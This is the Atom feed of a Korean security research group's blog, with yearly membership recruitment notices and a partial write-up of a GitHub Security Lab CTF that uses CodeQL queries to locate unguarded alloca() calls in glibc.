<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://null2root.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://null2root.github.io/" rel="alternate" type="text/html" /><updated>2026-06-27T00:37:44+00:00</updated><id>https://null2root.github.io/feed.xml</id><title type="html">NULL@ROOT</title><subtitle>Yes, we do something! 🙂</subtitle><entry><title type="html">[마감] 2025 Null@Root 신입 그룹원 모집</title><link href="https://null2root.github.io/blog/2025/07/13/2025-null2root-recruit.html" rel="alternate" type="text/html" title="[마감] 2025 Null@Root 신입 그룹원 모집" /><published>2025-07-13T00:00:00+00:00</published><updated>2025-07-13T00:00:00+00:00</updated><id>https://null2root.github.io/blog/2025/07/13/2025-null2root-recruit</id><content type="html" xml:base="https://null2root.github.io/blog/2025/07/13/2025-null2root-recruit.html"><![CDATA[<p>안녕하세요. Null@Root 입니다. 2025년 신입 그룹원을 모집합니다.</p>

<p>여러분의 열정, 실력, 인성을 바탕으로 앞으로 해킹&amp;보안 연구활동을 함께할 멋진 분들을 모십니다.</p>

<p>전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다.</p>

<p>마지막 단계까지 최선을 다해 주시길 바라며, 아래와 같은 간단한 지원서와 기술문서로 신입 그룹원 지원을 받습니다.</p>

<blockquote>
  <p><strong>지원 방법</strong> - <a href="https://forms.gle/g4Lf8sDdPSLChgak8">지원서</a><br />
<strong>마감 기간</strong> - 2025년 8월 15일 23시 59분 59초<br />
<strong>주의사항 1</strong> - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다.<br />
<strong>주의사항 2</strong> - 포트폴리오의 경우 지원서 작성 폼에 첨부해주시길 바랍니다.<br /></p>
</blockquote>

<p>링크를 통해 성실하게 답변을 작성하여 마감기간 내에 지원하여 주시기 바랍니다.</p>

<p>기타 문의사항 있을 시 아래 메일로 보내주시기 바랍니다.</p>

<p>Contact: nr2025junior@gmail.com</p>]]></content><author><name>null2root</name></author><category term="blog" /><category term="recruit" /><summary type="html"><![CDATA[안녕하세요. Null@Root 입니다. 2025년 신입 그룹원을 모집합니다.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://null2root.github.io/assets/images/2025.n2r.recruit.png" /><media:content medium="image" url="https://null2root.github.io/assets/images/2025.n2r.recruit.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">[마감] 2024 Null@Root 신입 그룹원 모집</title><link href="https://null2root.github.io/blog/2024/06/17/2024-null2root-recruit.html" rel="alternate" type="text/html" title="[마감] 2024 Null@Root 신입 그룹원 모집" /><published>2024-06-17T03:00:00+00:00</published><updated>2024-06-17T03:00:00+00:00</updated><id>https://null2root.github.io/blog/2024/06/17/2024-null2root-recruit</id><content type="html" xml:base="https://null2root.github.io/blog/2024/06/17/2024-null2root-recruit.html"><![CDATA[<p>안녕하세요. Null@Root 입니다. 2024년 신입 그룹원을 모집합니다.</p>

<p>여러분의 열정, 실력, 인성을 바탕으로 앞으로 해킹&amp;보안 연구활동을 함께할 멋진 분들을 모십니다.</p>

<p>전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다.</p>

<p>마지막 단계까지 최선을 다해 주시길 바라며, 아래와 같은 간단한 지원서와 기술문서로 신입 그룹원 지원을 받습니다.</p>

<blockquote>
  <p><strong>지원 방법</strong> - <a href="https://forms.gle/okrXgc4QyLQ58h337">지원서</a><br />
<strong>마감 기간</strong> - 2024년 7월 14일 23시 59분 59초<br />
<strong>주의사항 1</strong> - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다.<br />
<strong>주의사항 2</strong> - 포트폴리오의 경우 지원서 작성 폼에 첨부해주시길 바랍니다.<br /></p>
</blockquote>

<p>링크를 통해 성실하게 답변을 작성하여 마감기간 내에 지원하여 주시기 바랍니다.</p>

<p>기타 문의사항 있을 시 아래 메일로 보내주시기 바랍니다.</p>

<p>Contact: nr2024junior@gmail.com</p>]]></content><author><name>null2root</name></author><category term="blog" /><category term="recruit" /><summary type="html"><![CDATA[안녕하세요. Null@Root 입니다. 2024년 신입 그룹원을 모집합니다. 여러분의 열정, 실력, 인성을 바탕으로 앞으로 해킹&amp;보안 연구활동을 함께할 멋진 분들을 모십니다. 전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다. 마지막 단계까지 최선을 다해 주시길 바라며, 아래와 같은 간단한 지원서와 기술문서로 신입 그룹원 지원을 받습니다. 지원 방법 - 지원서 마감 기간 - 2024년 7월 14일 23시 59분 59초 주의사항 1 - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다. 주의사항 2 - 포트폴리오의 경우 지원서 작성 폼에 첨부해주시길 바랍니다. 링크를 통해 성실하게 답변을 작성하여 마감기간 내에 지원하여 주시기 바랍니다. 기타 문의사항 있을 시 아래 메일로 보내주시기 바랍니다. Contact: nr2024junior@gmail.com]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://null2root.github.io/assets/images/2024.n2r.recruit.png" /><media:content medium="image" url="https://null2root.github.io/assets/images/2024.n2r.recruit.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">[마감] 2023 Null@Root 신입 그룹원 모집</title><link href="https://null2root.github.io/blog/2023/06/25/2023-null2root-recruit.html" rel="alternate" type="text/html" title="[마감] 2023 Null@Root 신입 그룹원 모집" /><published>2023-06-25T00:20:00+00:00</published><updated>2023-06-25T00:20:00+00:00</updated><id>https://null2root.github.io/blog/2023/06/25/2023-null2root-recruit</id><content type="html" xml:base="https://null2root.github.io/blog/2023/06/25/2023-null2root-recruit.html"><![CDATA[<p>안녕하세요. Null@Root 입니다. 2023년 신입 그룹원을 모집합니다.</p>

<p>여러분의 열정, 실력, 인성을 바탕으로 앞으로 해킹&amp;보안 연구활동을 함께할 멋진 분들을 모십니다.</p>

<p>전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다.</p>

<p>마지막 단계까지 최선을 다해 주시길 바라며, 아래와 같은 간단한 지원서와 번역 또는 기술문서로 신입 그룹원 지원을 받습니다.</p>

<blockquote>
  <p><strong>지원 방법</strong> - <a href="https://forms.gle/K8ju7Cb9Qyh8UcbMA">지원서</a> + 최근에 작성한 본인의 기술문서 또는 번역문서<br />
<strong>마감 기간</strong> - 2023년 7월 23일 23시 59분 59초<br />
<strong>주의사항 1</strong> - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다.<br />
<strong>주의사항 2</strong> - 번역 또는 기술 문서는 본인의 열정을 충분히 보여줄 수 있는 부분으로 그림 및 코드 제외 단어수(wc -w)가 2000자 이상이어야 합니다.<br /></p>
</blockquote>

<p>링크를 통해 성실하게 답변을 작성하여 마감기간 내에 지원하여 주시기 바랍니다.</p>

<p>기타 문의사항 있을 시 아래 메일로 보내주시기 바랍니다.</p>

<p>Contact: nr2023junior@gmail.com</p>]]></content><author><name>null2root</name></author><category term="blog" /><category term="recruit" /><summary type="html"><![CDATA[안녕하세요. Null@Root 입니다. 2023년 신입 그룹원을 모집합니다.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://null2root.github.io/assets/images/2023.n2r.recruit.png" /><media:content medium="image" url="https://null2root.github.io/assets/images/2023.n2r.recruit.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">[마감] 2022 Null@Root 신입 그룹원 모집</title><link href="https://null2root.github.io/blog/2022/06/03/2022-null2root-recruit.html" rel="alternate" type="text/html" title="[마감] 2022 Null@Root 신입 그룹원 모집" /><published>2022-06-03T12:12:00+00:00</published><updated>2022-06-03T12:12:00+00:00</updated><id>https://null2root.github.io/blog/2022/06/03/2022-null2root-recruit</id><content type="html" xml:base="https://null2root.github.io/blog/2022/06/03/2022-null2root-recruit.html"><![CDATA[<p>안녕하세요. Null@Root 입니다. 2022년 신입 그룹원을 모집합니다.</p>

<p>여러분의 열정, 실력, 인성을 바탕으로 앞으로 해킹&amp;보안 연구활동을 함께할 멋진 분들을 모십니다.</p>

<p>전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다.</p>

<p>마지막 단계까지 최선을 다해 주시길 바라며, 아래와 같은 간단한 지원서와 번역 또는 기술문서로 신입 그룹원 지원을 받습니다.</p>

<blockquote>
  <p><strong>지원 방법</strong> - <a href="https://forms.gle/LUwLaeY6XrTrbDPk6">지원서</a> + 최근에 작성한 본인의 기술문서 또는 번역문서<br />
<strong>마감 기간</strong> - 2022년 7월 3일 23시 59분 59초<br />
<strong>주의사항 1</strong> - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다.<br />
<strong>주의사항 2</strong> - 번역 또는 기술 문서는 본인의 열정을 충분히 보여줄 수 있는 부분으로 그림 및 코드 제외 단어수(wc -w)가 2000자 이상이어야 합니다.<br /></p>
</blockquote>

<p>링크를 통해 성실하게 답변을 작성하여 마감기간 내에 지원하여 주시기 바랍니다.</p>

<p>기타 문의사항 있을 시 아래 메일로 보내주시기 바랍니다.</p>

<p>Contact: nr2022junior@gmail.com</p>]]></content><author><name>null2root</name></author><category term="blog" /><category term="recruit" /><summary type="html"><![CDATA[안녕하세요. Null@Root 입니다. 2022년 신입 그룹원을 모집합니다.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://null2root.github.io/assets/images/2022.n2r.recruit.png" /><media:content medium="image" url="https://null2root.github.io/assets/images/2022.n2r.recruit.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">[마감] 2021 Null@Root 신입 그룹원 모집</title><link href="https://null2root.github.io/blog/2021/05/15/2021-null2root-recruit.html" rel="alternate" type="text/html" title="[마감] 2021 Null@Root 신입 그룹원 모집" /><published>2021-05-15T14:32:00+00:00</published><updated>2021-05-15T14:32:00+00:00</updated><id>https://null2root.github.io/blog/2021/05/15/2021-null2root-recruit</id><content type="html" xml:base="https://null2root.github.io/blog/2021/05/15/2021-null2root-recruit.html"><![CDATA[<p>안녕하세요. Null@Root 입니다. 2021년 신입 그룹원을 모집합니다.</p>

<p>여러분의 열정, 실력, 인성을 바탕으로 앞으로 해킹&amp;보안 연구활동을 함께할 멋진 분들을 모십니다.</p>

<p>전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다.</p>

<p>마지막 단계까지 최선을 다해 주시길 바라며, 아래와 같은 간단한 지원서와 번역 또는 기술문서로 신입 그룹원 지원을 받습니다.</p>

<blockquote>
  <p><strong>지원 방법</strong> - <a href="https://forms.gle/mcm669yd2t28KKCLA">지원서</a> + 최근에 작성한 본인의 기술문서 또는 번역문서<br />
<strong>마감 기간</strong> - 2021년 6월 13일 23시 59분 59초<br />
<strong>주의사항 1</strong> - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다.<br />
<strong>주의사항 2</strong> - <a href="https://github.com/null2root/null2root.github.com/raw/master/assets/docs/personal_info_agreement_null2root.docx">개인정보 제공 및 활용 동의서</a>를 작성해 사진 캡쳐 혹은 스캔본 형태로 제출해 주셔야 합니다.<br />
<strong>주의사항 3</strong> - 번역 또는 기술 문서는 본인의 열정을 충분히 보여줄 수 있는 부분으로 그림 및 코드 제외 단어수(wc -w)가 2000자 이상이어야 합니다.<br /></p>
</blockquote>

<p>링크를 통해 성실하게 답변을 작성하여 마감기간 내에 지원하여 주시기 바랍니다.</p>

<p>기타 문의사항 있을 시에도 위 메일로 보내주시기 바랍니다.</p>]]></content><author><name>null2root</name></author><category term="blog" /><category term="recruit" /><summary type="html"><![CDATA[안녕하세요. Null@Root 입니다. 2021년 신입 그룹원을 모집합니다.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://null2root.github.io/assets/images/2021.n2r.recruit.png" /><media:content medium="image" url="https://null2root.github.io/assets/images/2021.n2r.recruit.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">[Writeup] GitHub Security Lab CTF 1: SEGV hunt</title><link href="https://null2root.github.io/blog/2021/02/12/GitHub-Security-Lab-CTF-1_SEGV-hunt-writeup.html" rel="alternate" type="text/html" title="[Writeup] GitHub Security Lab CTF 1: SEGV hunt" /><published>2021-02-12T19:00:00+00:00</published><updated>2021-02-12T19:00:00+00:00</updated><id>https://null2root.github.io/blog/2021/02/12/GitHub-Security-Lab-CTF-1_SEGV-hunt-writeup</id><content type="html" xml:base="https://null2root.github.io/blog/2021/02/12/GitHub-Security-Lab-CTF-1_SEGV-hunt-writeup.html"><![CDATA[<p>작성 - y0ny0ns0n @ null2root</p>

<h1 id="목차">목차</h1>
<ol>
  <li><a href="#1-소개">소개</a></li>
  <li><a href="#2-환경-구축">환경 구축</a></li>
  <li><a href="#3-문제-풀이">문제 풀이</a><br />
 3.0.0. <a href="#300-question-00">Question 0.0</a><br />
 3.1.0. <a href="#310-question-10">Question 1.0</a><br />
 3.1.1. <a href="#311-question-11">Question 1.1</a><br />
 3.2.0. <a href="#320-question-20">Question 2.0</a><br />
 3.2.1. <a href="#321-question-21">Question 2.1</a><br />
 3.2.2. <a href="#322-question-22">Question 2.2</a><br />
 3.2.3. <a href="#323-question-23">Question 2.3</a><br />
 3.2.4. <a href="#324-question-24">Question 2.4</a><br />
 3.2.5. <a href="#325-question-25">Question 2.5</a><br />
 3.3.0. <a href="#330-question-30">Question 3.0</a><br />
 3.4.0. <a href="#340-question-40">Question 4.0</a><br />
 3.4.1. <a href="#341-question-41">Question 4.1</a><br />
 3.5.0. <a href="#350-question-50optional">Question 5.0(optional)</a><br /></li>
  <li><a href="#4-후기">후기</a></li>
</ol>

<h1 id="1-소개">1. 소개</h1>
<p>CodeQL은 <a href="https://ko.wikipedia.org/wiki/LINQ">LINQ</a> 형식의 언어로, source code가 있는 프로젝트들을 대상으로 Data Flow Analysis, Global Value Numbering, Taint Tracking과 같은 static analysis 기능을 제공해 줍니다. CodeQL은 이미 Microsoft[<a href="https://msrc-blog.microsoft.com/2018/08/16/vulnerability-hunting-with-semmle-ql-part-1/">1</a>][<a href="https://msrc-blog.microsoft.com/2019/03/19/vulnerability-hunting-with-semmle-ql-part-2/">2</a>], Google[<a href="https://bugs.chromium.org/p/project-zero/issues/list?q=label%3AMethodology-static-analysis&amp;can=1">3</a>]과 같은 major software를 유지보수하는 회사들과 여러 security researcher들[<a href="https://github.com/github/securitylab/tree/main/CodeQL_Queries">4</a>]이 실제로 사용하며 그 효용성을 계속 증명해 나가고 있습니다. 보통 취약점 연구를 할때 security researcher들은 거의 대부분 Code Auditing을 기반해 연구를 진행하는데 CodeQL은 (최소한 Open Source 프로젝트에 한해) 이에 대해 많은 도움을 줄 수 있는 좋은 보완재라 생각해 간단하게 사용해 보고 Writeup으로 정리해 보려고 합니다.</p>

<p><a href="https://securitylab.github.com/ctf/segv">GitHub Security Lab CTF 1: SEGV hunt</a> 는 Github Security Lab에서 주최했으며 CodeQL 사용법을 익히는데 도움을 주고자 만든 일종의 challenge 형식의 프로젝트입니다. 다른 CTF들도 있지만 제가 관심을 가지는 대상이 거의 대부분 C/C++ 관련 프로젝트들이기 때문에 이 CTF를 골랐습니다. 이 CTF는 CodeQL로 <a href="https://www.gnu.org/software/libc/">GNU C Library</a>에 있는 <a href="http://man7.org/linux/man-pages/man3/alloca.3.html">alloca()</a> 함수의 취약점을 step-by-step으로 찾아나가며 CodeQL을 학습하는데 목적을 두고 있습니다.</p>

<h1 id="2-환경-구축">2. 환경 구축</h1>
<p><a href="https://lab.github.com/githubtraining/codeql-u-boot-challenge-(cc++)">CodeQL U-Boot Challenge</a>라고 CodeQL 튜토리얼 같은게 있는데, 기본적인 CodeQL 환경구성과 사용법에 대해 30분~1시간 내외의 짧은 시간안에 배울 수 있으니 Writeup을 보기 전에 한번 해보고 오는 것을 추천드립니다.</p>

<p>이 CTF는 친절하게도 분석할 glibc의 <a href="https://downloads.lgtm.com/snapshots/cpp/GNU/glibc/bminor_glibc_cpp-srcVersion_333221862ecbebde60dd16e7ca17d26444e62f50-dist_odasa-lgtm-2019-04-08-af06f68-linux64.zip">CodeQL DB snapshot</a>을 제공해 주는데 만약 해당 DB를 직접 만들어 보고 싶다면 <a href="https://github.com/bminor/glibc/tree/333221862ecbebde60dd16e7ca17d26444e62f50">bminor/glibc repo의 3332218 commit</a>을 가져와 컴파일하면 제공받은 snapshot과 같은 DB를 만들 수 있습니다[<a href="https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#specifying-build-commands">5</a>].  <strong>VS Code</strong> 의 <a href="https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql">CodeQL 플러그인</a>으로 분석할 CodeQL DB를 가져오고 <a href="https://github.com/github/codeql">CodeQL repository</a>도 cloning해서 <code class="language-plaintext highlighter-rouge">cpp/ql/src</code> 디렉토리의 하위에 query 문을 작성한 뒤 아래와 같이 정상적으로 실행되면 환경구축이 완료된 것입니다.</p>

<p><img src="/assets/images/segv-hunt-codeql-img-1.png" alt="vs code codeql working" /></p>

<h1 id="3-문제-풀이">3. 문제 풀이</h1>
<h2 id="300-question-00">3.0.0. Question 0.0</h2>
<ul>
  <li>Question 0.0: <code class="language-plaintext highlighter-rouge">alloca</code> is a macro. Find the definition of this macro and the name of the function that it expands to.</li>
</ul>

<p>CodeQL의 <a href="https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Macro.qll/type.Macro$Macro.html">Macro Class</a>를 사용하면 됩니다.</p>

<p><img src="/assets/images/segv-hunt-codeql-img-2.png" alt="qustion 0.0 done" /></p>

<p>glibc의 <code class="language-plaintext highlighter-rouge">alloca</code> 매크로는 gcc built-in 함수인 <code class="language-plaintext highlighter-rouge">__builtin_alloca</code>를 확장해 사용합니다.</p>

<h2 id="310-question-10">3.1.0. Question 1.0</h2>
<ul>
  <li>Question 1.0: Find all the calls to <code class="language-plaintext highlighter-rouge">alloca</code> (using the function name that you found in step 0).</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">__builtin_alloca</code> 는 매크로가 아닌 함수이기에, <a href="https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Call.qll/type.Call$FunctionCall.html">FunctionCall Class</a>를 사용해 호출자를 찾을 수 있습니다.</p>

<p><img src="/assets/images/segv-hunt-codeql-img-3.png" alt="qustion 1.0 done" /></p>

<h2 id="311-question-11">3.1.1. Question 1.1</h2>
<ul>
  <li>Question 1.1: Use the <code class="language-plaintext highlighter-rouge">upperBound</code> and <code class="language-plaintext highlighter-rouge">lowerBound</code> predicates from the <code class="language-plaintext highlighter-rouge">SimpleRangeAnalysis</code> library to filter out results which are safe because the allocation size is small. You can classify the allocation size as small if it is less than <code class="language-plaintext highlighter-rouge">65536</code>. But don’t forget that negative sizes are very dangerous.</li>
</ul>

<p><a href="https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/rangeanalysis/SimpleRangeAnalysis.qll/predicate.SimpleRangeAnalysis$SimpleRangeAnalysisCached$upperBound.1.html">upperBound</a> 와 <a href="https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/rangeanalysis/SimpleRangeAnalysis.qll/predicate.SimpleRangeAnalysis$SimpleRangeAnalysisCached$lowerBound.1.html">lowerBound</a> predicate는 특정 expression이 가질 수 있는 최대 범위와 최소 범위를 알아내는데 사용되며 Out-Of-Bound 취약점이나 Integer Overflow 취약점을 찾을 때 유용하게 사용할 수 있을 것입니다.</p>

<p><img src="/assets/images/segv-hunt-codeql-img-4.png" alt="qustion 1.1 done" /></p>

<h2 id="320-question-20">3.2.0. Question 2.0</h2>
<ul>
  <li>Question 2.0: Find all calls to <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code>.</li>
</ul>

<p>glibc는 <code class="language-plaintext highlighter-rouge">alloca</code> 매크로를 호출하기 전 <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code> 함수로 할당하고자 하는 size를 체크한 뒤, 만약 size가 범위를 벗어나면 <code class="language-plaintext highlighter-rouge">malloc</code> 함수를 사용합니다[<a href="https://github.com/bminor/glibc/blob/333221862ecbebde60dd16e7ca17d26444e62f50/posix/getopt.c#L252-L254">6</a>]. 그렇기 때문에 <code class="language-plaintext highlighter-rouge">alloca</code> 매크로 호출전에 <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code> 함수가 호출된다면 해당 매크로 호출은 <strong>안전</strong> 하다고 할 수 있을 것입니다.</p>

<p><img src="/assets/images/segv-hunt-codeql-img-5.png" alt="qustion 2.0 done" /></p>

<h2 id="321-question-21">3.2.1. Question 2.1</h2>
<ul>
  <li>Question 2.1: Find all <code class="language-plaintext highlighter-rouge">guard conditions</code> where the condition is a call to <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code>.</li>
</ul>

<p><a href="https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/controlflow/Guards.qll/type.Guards$GuardCondition.html">GuardCondition Class</a>는 특정 <a href="https://ko.wikipedia.org/wiki/%EA%B8%B0%EB%B3%B8_%EB%B8%94%EB%A1%9D">Basic Block</a>으로 진입할지 말지 여부를 결정하는 조건 분기( <strong>switch~case</strong> 문 제외 )에 대한 Class로 아래와 같이 <code class="language-plaintext highlighter-rouge">__alloca</code> 매크로를 호출하는 Basic Block으로 진입하는 조건에 <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code> 함수를 호출하는 경우의 수도 탐지할 수 있습니다.</p>

<p><img src="/assets/images/segv-hunt-codeql-img-6.png" alt="qustion 2.1 done" /></p>

<p>( P.S. <code class="language-plaintext highlighter-rouge">FunctionCall</code> -&gt; <code class="language-plaintext highlighter-rouge">boolean</code> 으로 변환하는 방법을 몰라서 아래와 같이 <a href="https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/predicate.Expr$Expr$getAChild.0.html">getAChild predicate</a>에 <code class="language-plaintext highlighter-rouge">Transitive Closure *</code>을 사용했습니다. )</p>

<h2 id="322-question-22">3.2.2. Question 2.2</h2>
<ul>
  <li>Question 2.2: Sometimes the result of <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code> is assigned to a variable, which is then used as the guard condition. For example, this happens at <code class="language-plaintext highlighter-rouge">setsourcefilter.c:38-41</code>. Enhance your query, using <code class="language-plaintext highlighter-rouge">local dataflow</code>, so that it also finds this guard condition.</li>
</ul>

<p>조건 분기에서 <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code> 함수 호출을 직접적으로 하지 않고 반환값을 사용할 경우 기존의 query문으로는 탐할 수 없고, 아래와 같이 <a href="https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/dataflow/internal/DataFlowUtil.qll/predicate.DataFlowUtil$localFlow.2.html">localFlow predicate</a>를 사용해 <code class="language-plaintext highlighter-rouge">source</code>를 <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code> 함수 호출, <code class="language-plaintext highlighter-rouge">sink</code>를 조건 분기로 설정하면 탐지할 수 있습니다.</p>

<p><img src="/assets/images/segv-hunt-codeql-img-7.png" alt="qustion 2.2 done" /></p>

<h2 id="323-question-23">3.2.3. Question 2.3</h2>
<ul>
  <li>Question 2.3: Sometimes the call to <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code> is wrapped in a call to <code class="language-plaintext highlighter-rouge">__builtin_expect</code>. For example, this happens at <code class="language-plaintext highlighter-rouge">setenv.c:185</code>. Enhance your query so that it also finds this guard condition.</li>
</ul>

<p>만약 조건 분기에서 <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code> 함수 호출에 대한 반환값을 간접적으로 사용한다면, 아래와 같이 <code class="language-plaintext highlighter-rouge">sink</code>로 <code class="language-plaintext highlighter-rouge">gc</code> 대신 <code class="language-plaintext highlighter-rouge">gc.getAChild*()</code>를 사용해 탐지조건에 포함할 수 있습니다. <a href="https://codeql.github.com/docs/ql-language-reference/recursion/#transitive-closures">Transitive Closure</a>에서 <code class="language-plaintext highlighter-rouge">*</code>는 재귀의 꼬리를 포함한 전체집합, <code class="language-plaintext highlighter-rouge">+</code>는 꼬리를 제외한 여집합을 의미하기 때문에 <code class="language-plaintext highlighter-rouge">sink</code>로 조건분기 expression의 전체집합을 줌으로써 <code class="language-plaintext highlighter-rouge">__bultin_expect</code>나 그외 다른 wrapper로 감싸져 있어도 탐지할 수 있게 되는 것입니다.</p>

<p><img src="/assets/images/segv-hunt-codeql-img-8.png" alt="qustion 2.3 done" /></p>

<h2 id="324-question-24">3.2.4. Question 2.4</h2>
<ul>
  <li>Question 2.4: Sometimes the result of <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code> is negated with the <code class="language-plaintext highlighter-rouge">!</code> operator. For example, this happens at <code class="language-plaintext highlighter-rouge">getaddrinfo.c:2291-2293</code>. Enhance your query so that it can also handle negations.</li>
</ul>

<p>이 문제는 <code class="language-plaintext highlighter-rouge">DataFlow Analysis</code>를 할때 <code class="language-plaintext highlighter-rouge">source</code>의 범위를 단순히 함수 호출이 아니라 그 이상으로 확장 시켜줘야 합니다. 저는 <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code> 함수 호출을 <code class="language-plaintext highlighter-rouge">BasicBlock</code>으로 감싼 뒤, 해당 BB의 <a href="https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/controlflow/ControlFlowGraph.qll/type.ControlFlowGraph$ControlFlowNode.html">ControlFlowNode</a>를 <code class="language-plaintext highlighter-rouge">source</code>로 지정해 해결했습니다.</p>

<p><img src="/assets/images/segv-hunt-codeql-img-9.png" alt="qustion 2.4 done" /></p>

<h2 id="325-question-25">3.2.5. Question 2.5</h2>
<ul>
  <li>Question 2.5: Find calls to <code class="language-plaintext highlighter-rouge">alloca</code> that are safe because they are guarded by a call to <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code>.</li>
</ul>

<p>이후에 사용하기 쉽게 지금까지 찾은 조건들을 <code class="language-plaintext highlighter-rouge">predicate</code>로 만들었습니다.</p>

<p><img src="/assets/images/segv-hunt-codeql-img-10.png" alt="qustion 2.5 done" /></p>

<h2 id="330-question-30">3.3.0. Question 3.0</h2>
<ul>
  <li>Question 3.0: use your answer from step 2 to enhance your query from step 1 by filtering out calls to <code class="language-plaintext highlighter-rouge">alloca</code> that are safe because they are guarded by a call to <code class="language-plaintext highlighter-rouge">__libc_use_alloca</code>.</li>
</ul>

<p><a href="#311-_Question-1_1">Question 1.1</a>에서 찾은 조건들도 <code class="language-plaintext highlighter-rouge">predicate</code>로 만들어 취약할거라고 의심되는 함수 호출 목록을 만들었습니다.</p>

<p><img src="/assets/images/segv-hunt-codeql-img-11.png" alt="qustion 3.0 done" /></p>

<h2 id="340-question-40">3.4.0. Question 4.0</h2>
<ul>
  <li>Question 4.0: Find calls to <code class="language-plaintext highlighter-rouge">fopen</code>. (Be aware that <code class="language-plaintext highlighter-rouge">fopen</code> is another macro.)</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">fopen</code> 매크로는 <a href="https://github.com/bminor/glibc/blob/333221862ecbebde60dd16e7ca17d26444e62f50/include/stdio.h#L159-L160">_IO_new_fopen</a> 함수를 호출합니다.</p>

<p><img src="/assets/images/segv-hunt-codeql-img-12.png" alt="qustion 4.0 done" /></p>

<h2 id="341-question-41">3.4.1. Question 4.1</h2>
<ul>
  <li>Question 4.1: Write a taint tracking query. The source should be a call to <code class="language-plaintext highlighter-rouge">fopen</code> and the sink should be the size argument of an unsafe call to <code class="language-plaintext highlighter-rouge">alloca</code>. To help you get started, here is the boilerplate for the query:</li>
</ul>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/**
  * @name 41_fopen_to_alloca_taint
  * @description Track taint from fopen to alloca.
  * @kind path-problem
  * @problem.severity warning
  */

import cpp
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis
import semmle.code.cpp.dataflow.TaintTracking
import semmle.code.cpp.models.interfaces.DataFlow
import semmle.code.cpp.controlflow.Guards
import DataFlow::PathGraph

// replace deprecated predicates name by @y0ny0ns0n

// Track taint through `__strnlen`.
class StrlenFunction extends DataFlowFunction {
  StrlenFunction() { this.getName().matches("%str%len%") }

  override predicate hasDataFlow(FunctionInput i, FunctionOutput o) {
    i.isParameter(0) and o.isReturnValue()
  }
}

// Track taint through `__getdelim`.
class GetDelimFunction extends DataFlowFunction {
  GetDelimFunction() { this.getName().matches("%get%delim%") }

  override predicate hasDataFlow(FunctionInput i, FunctionOutput o) {
    i.isParameter(3) and o.isParameterDeref(0)
  }
}

class Config extends TaintTracking::Configuration {
  Config() { this = "fopen_to_alloca_taint" }

  override predicate isSource(DataFlow::Node source) {
    // TODO
  }

  override predicate isSink(DataFlow::Node sink) {
    // TODO
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "fopen flows to alloca"
</code></pre></div></div>

